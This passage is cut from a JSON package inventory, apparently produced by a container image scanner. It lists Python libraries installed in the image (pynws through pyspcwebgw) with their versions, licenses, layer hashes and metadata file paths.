"pkg:pypi/pynws@1.8.2", "UID": "5daee545926e4247" }, "Version": "1.8.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynws-1.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynx584", "Identifier": { "PURL": "pkg:pypi/pynx584@0.8.2", "UID": "696cb1161ffc19f5" }, "Version": "0.8.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynx584-0.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynzbgetapi", "Identifier": { "PURL": "pkg:pypi/pynzbgetapi@0.2.0", "UID": "2f221476ddf2c93e" }, "Version": "0.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynzbgetapi-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyobihai", "Identifier": { "PURL": "pkg:pypi/pyobihai@1.4.2", "UID": "f7f63232b365cd8a" }, "Version": "1.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyobihai-1.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyoctoprintapi", "Identifier": { "PURL": "pkg:pypi/pyoctoprintapi@0.1.14", "UID": "c304dc655194c417" }, "Version": "0.1.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyoctoprintapi-0.1.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyombi", "Identifier": { "PURL": "pkg:pypi/pyombi@0.1.10", "UID": "793004f56968bda0" }, "Version": "0.1.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyombi-0.1.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyomie", "Identifier": { "PURL": "pkg:pypi/pyomie@1.1.3", "UID": "ed0b40868aaedfe6" }, "Version": "1.1.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyomie-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyopenuv", "Identifier": { "PURL": "pkg:pypi/pyopenuv@2023.2.0", "UID": "cb6d6326f0919815" }, "Version": "2023.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyopenuv-2023.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyopenweathermap", "Identifier": { "PURL": "pkg:pypi/pyopenweathermap@0.2.2", "UID": "70126109e1f34e11" }, "Version": "0.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyopenweathermap-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyoppleio-legacy", "Identifier": { "PURL": "pkg:pypi/pyoppleio-legacy@1.0.8", "UID": "230dfec3751d5462" }, "Version": "1.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyoppleio_legacy-1.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyosoenergyapi", "Identifier": { "PURL": "pkg:pypi/pyosoenergyapi@1.2.4", "UID": "21c926c4cd4ac18f" }, "Version": "1.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyosoenergyapi-1.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyotgw", "Identifier": { "PURL": "pkg:pypi/pyotgw@2.2.3", "UID": "59ec944669b8f7d5" }, "Version": "2.2.3", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyotgw-2.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyotp", "Identifier": { "PURL": "pkg:pypi/pyotp@2.9.0", "UID": "4716f77a447c75df" }, "Version": "2.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyotp-2.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyoverkiz", "Identifier": { "PURL": "pkg:pypi/pyoverkiz@2.0.4", "UID": "5eb46865c5965810" }, "Version": "2.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyoverkiz-2.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypalazzetti", "Identifier": { "PURL": "pkg:pypi/pypalazzetti@0.1.20", "UID": "22b2acc4dd26a50d" }, "Version": "0.1.20", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypalazzetti-0.1.20.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypaperless", "Identifier": { "PURL": "pkg:pypi/pypaperless@4.1.1", "UID": "3deb6b6185f8c803" }, "Version": "4.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypaperless-4.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyparsing", "Identifier": { "PURL": "pkg:pypi/pyparsing@3.3.2", "UID": "a3ffa6ced2249efa" }, "Version": "3.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyparsing-3.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypca", "Identifier": { "PURL": "pkg:pypi/pypca@0.0.7", "UID": "eeafd3c95ce3acc8" }, "Version": "0.0.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypca-0.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypck", "Identifier": { "PURL": "pkg:pypi/pypck@0.9.13", "UID": "12fa4c387a589216" }, "Version": "0.9.13", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypck-0.9.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypglab", "Identifier": { "PURL": "pkg:pypi/pypglab@0.0.5", "UID": "9dd345ed89e3a062" }, "Version": "0.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypglab-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypjlink2", "Identifier": { "PURL": "pkg:pypi/pypjlink2@1.2.1", "UID": "a15ae598451fe484" }, "Version": "1.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypjlink2-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyplaato", "Identifier": { "PURL": "pkg:pypi/pyplaato@0.0.19", "UID": "4c11a7f0dad074c5" }, "Version": "0.0.19", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyplaato-0.0.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypoint", "Identifier": { "PURL": "pkg:pypi/pypoint@3.0.0", "UID": "f083b9ced42c0ace" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pypoint-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyportainer", "Identifier": { "PURL": "pkg:pypi/pyportainer@1.0.38", "UID": "de3b7954ebb04b95" }, "Version": "1.0.38", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyportainer-1.0.38.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyprobeplus", "Identifier": { "PURL": "pkg:pypi/pyprobeplus@1.1.2", "UID": "e67e66ecc8b6b1c0" }, "Version": "1.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyprobeplus-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyprof2calltree", "Identifier": { "PURL": "pkg:pypi/pyprof2calltree@1.4.5", "UID": "8c2e642e82bce93" }, "Version": "1.4.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyprof2calltree-1.4.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyprosegur", "Identifier": { "PURL": "pkg:pypi/pyprosegur@0.0.14", "UID": "5f631d99f3b5e7a9" }, "Version": "0.0.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyprosegur-0.0.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyprusalink", "Identifier": { "PURL": "pkg:pypi/pyprusalink@3.0.0", "UID": "6d1f3e2372e5d174" }, "Version": "3.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyprusalink-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyps4-2ndscreen", "Identifier": { "PURL": "pkg:pypi/pyps4-2ndscreen@1.3.1", "UID": "39a5159610d3d6c6" }, "Version": "1.3.1", "Licenses": [ "LGPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyps4_2ndscreen-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyquery", "Identifier": { "PURL": "pkg:pypi/pyquery@2.0.1", "UID": "c39180dd7a6c9d38" }, "Version": "2.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyquery-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyqvrpro", "Identifier": { "PURL": "pkg:pypi/pyqvrpro@0.52", "UID": "46a78c7f4a09460c" }, "Version": "0.52", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyqvrpro-0.52.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyqwikswitch", "Identifier": { "PURL": "pkg:pypi/pyqwikswitch@0.93", "UID": "544596a4508dc5e8" }, "Version": "0.93", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyqwikswitch-0.93.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrail", "Identifier": { "PURL": "pkg:pypi/pyrail@0.4.1", "UID": "40808b62534416a5" }, "Version": "0.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrail-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrainbird", "Identifier": { "PURL": "pkg:pypi/pyrainbird@6.3.1", "UID": "2ee85d63ff4f49e8" }, "Version": "6.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrainbird-6.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrate-limiter", "Identifier": { "PURL": "pkg:pypi/pyrate-limiter@4.4.0", "UID": "36b01e828c1d726e" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrate_limiter-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrecswitch", "Identifier": { "PURL": "pkg:pypi/pyrecswitch@1.0.2", "UID": "35787f97fc73ac93" }, "Version": "1.0.2", "Licenses": [ "AGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrecswitch-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrepetierng", "Identifier": { "PURL": "pkg:pypi/pyrepetierng@0.1.0", "UID": "dec21317ff90d543" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrepetierng-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrisco", "Identifier": { "PURL": "pkg:pypi/pyrisco@0.8.0", "UID": "82b2c3bd01763e4f" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrisco-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrituals", "Identifier": { "PURL": "pkg:pypi/pyrituals@0.0.7", "UID": "6f181124ae93720c" }, "Version": "0.0.7", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrituals-0.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyroute2", "Identifier": { "PURL": "pkg:pypi/pyroute2@0.9.6", "UID": "bf77759a33317797" }, "Version": "0.9.6", "Licenses": [ "GPL-2.0-or-later OR Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyroute2-0.9.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyrympro", "Identifier": { "PURL": "pkg:pypi/pyrympro@0.0.9", "UID": "643fa0c3f8502b05" }, "Version": "0.0.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyrympro-0.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysabnzbd", "Identifier": { "PURL": "pkg:pypi/pysabnzbd@1.1.1", "UID": "dd15d72ecd9c1aa8" }, "Version": "1.1.1", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysabnzbd-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysaj", "Identifier": { "PURL": "pkg:pypi/pysaj@0.0.16", "UID": "6244a2f920d1a694" }, "Version": "0.0.16", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysaj-0.0.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysaunum", "Identifier": { "PURL": "pkg:pypi/pysaunum@0.6.0", "UID": "cf459d7a63e3b597" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysaunum-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyschlage", "Identifier": { "PURL": "pkg:pypi/pyschlage@2025.9.0", "UID": "c2cd25dbfb8d366" }, "Version": "2025.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyschlage-2025.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysensibo", "Identifier": { "PURL": "pkg:pypi/pysensibo@1.2.1", "UID": "e9fd80d5cea131a8" }, "Version": "1.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysensibo-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysenz", "Identifier": { "PURL": "pkg:pypi/pysenz@1.0.2", "UID": "1c21a332b1a9e0d2" }, "Version": "1.0.2", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysenz-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyserial", "Identifier": { "PURL": "pkg:pypi/pyserial@3.5", "UID": "7baa5f10a2effc7a" }, "Version": "3.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyserial-3.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyserial-asyncio", "Identifier": { "PURL": "pkg:pypi/pyserial-asyncio@0.6", "UID": "120c3b1b02b83d52" }, "Version": "0.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyserial_asyncio-0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyserial-asyncio-fast", "Identifier": { "PURL": "pkg:pypi/pyserial-asyncio-fast@0.16", "UID": "2f4785aaca7be974" }, "Version": "0.16", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyserial_asyncio_fast-0.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysesame2", "Identifier": { "PURL": "pkg:pypi/pysesame2@1.0.2", "UID": "d1cb1d9ba9b432b8" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysesame2-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyseventeentrack", "Identifier": { "PURL": "pkg:pypi/pyseventeentrack@1.1.3", "UID": "f645a10535fedc27" }, "Version": "1.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyseventeentrack-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysiaalarm", "Identifier": { "PURL": "pkg:pypi/pysiaalarm@3.2.2", "UID": "af3b157dc47e8da7" }, "Version": "3.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysiaalarm-3.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysignalclirestapi", "Identifier": { "PURL": "pkg:pypi/pysignalclirestapi@0.3.24", "UID": "df0da829493a40e0" }, "Version": "0.3.24", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysignalclirestapi-0.3.24.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysignalr", "Identifier": { "PURL": "pkg:pypi/pysignalr@1.3.0", "UID": "1b6017e9e9db077f" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysignalr-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyskyqhub", "Identifier": { "PURL": "pkg:pypi/pyskyqhub@0.1.4", "UID": "f94e0aee17038539" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyskyqhub-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysma", "Identifier": { "PURL": "pkg:pypi/pysma@1.1.0", "UID": "a3d9db287912c263" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysma-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmappee", "Identifier": { "PURL": "pkg:pypi/pysmappee@0.2.29", "UID": "1be5ce1dd64a243" }, "Version": "0.2.29", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmappee-0.2.29.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmarlaapi", "Identifier": { "PURL": "pkg:pypi/pysmarlaapi@1.0.2", "UID": "dc9802716ad6471" }, "Version": "1.0.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmarlaapi-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmartthings", "Identifier": { "PURL": "pkg:pypi/pysmartthings@4.0.1", "UID": "5e6daec8ac29e2ce" }, "Version": "4.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmartthings-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmarty2", "Identifier": { "PURL": "pkg:pypi/pysmarty2@0.10.3", "UID": "1e7e05e4595fe7f7" }, "Version": "0.10.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmarty2-0.10.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmb", "Identifier": { "PURL": "pkg:pypi/pysmb@1.2.14", "UID": "b331523a84dc456e" }, "Version": "1.2.14", "Licenses": [ "zlib-acknowledgement" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmb-1.2.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmhi", "Identifier": { "PURL": "pkg:pypi/pysmhi@2.0.0", "UID": "42ec44af6c7aa4e2" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmhi-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysml", "Identifier": { "PURL": "pkg:pypi/pysml@0.1.8", "UID": "408284ba03ec9c9b" }, "Version": "0.1.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysml-0.1.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysmlight", "Identifier": { "PURL": "pkg:pypi/pysmlight@0.4.0", "UID": "718d7152b85faf81" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysmlight-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysnmp", "Identifier": { "PURL": "pkg:pypi/pysnmp@7.1.27", "UID": "7cb00c4c3c48a654" }, "Version": "7.1.27", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysnmp-7.1.27.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysnooz", "Identifier": { "PURL": "pkg:pypi/pysnooz@0.8.6", "UID": "eed12de19bd4fa60" }, "Version": "0.8.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysnooz-0.8.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pysoma", "Identifier": { "PURL": "pkg:pypi/pysoma@0.0.12", "UID": "de2d950d800db150" }, "Version": "0.0.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pysoma-0.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyspcwebgw", "Identifier": { "PURL": "pkg:pypi/pyspcwebgw@0.7.0", "UID": "3e5df31bbb59fc95" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": 